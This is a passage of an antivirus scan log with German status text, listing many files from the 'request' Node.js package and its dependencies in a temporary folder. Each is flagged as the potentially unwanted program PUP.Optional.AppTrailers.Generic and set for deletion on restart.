PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\lib\cookies.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\lib\copy.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\lib\debug.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\lib\helpers.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\aws-sign2\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\aws-sign2\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\aws-sign2\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_duplex.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_passthrough.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_readable.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_transform.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_writable.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\lib\util.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\float.patch, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\inherits.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\inherits_browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\build\build.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\duplex.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\passthrough.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\readable.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\transform.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules\readable-stream\writable.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\test\basic-test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\test\sauce.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\test\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\bl.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\LICENSE.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\caseless\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\caseless\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\caseless\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\caseless\test.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\lib\combined_stream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\lib\delayed_stream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-http-upload.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-stream-auto-pause.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-stream-pause.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-stream.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-handle-source-errors.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-max-data-size.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-pipe-resumes.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-proxy-readable.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\common.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\run.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\Readme.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream\Readme.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\forever-agent\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\forever-agent\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\forever-agent\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\lib\form_data.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\async\lib\async.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\async\support\sync-package-managers.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\async\bower.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\async\component.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\async\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\async\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\db.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\HISTORY.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\HISTORY.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\node_modules\mime-types\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\Readme.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\example\usage.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\images\hawk.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\images\logo.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\lib\browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\lib\client.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\lib\crypto.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\lib\server.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\lib\utils.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom\images\boom.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\boom\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\cryptiles\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\cryptiles\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\cryptiles\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\cryptiles\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\cryptiles\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\images\hoek.png, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\lib\escape.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules\test1.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules\test2.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules\test3.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\test\escaper.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\hoek\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\examples\offset.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\examples\time.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\node_modules\sntp\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test\browser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test\client.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test\crypto.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test\message.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test\readme.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test\server.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test\uri.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test\utils.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\package.json, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\README.md, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\lib\parser.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\lib\signer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\lib\util.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\lib\verify.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\errors.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\reader.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\types.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\writer.js, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\index.js, Löschen bei Neustart, [2862], [371306],1.0.2075
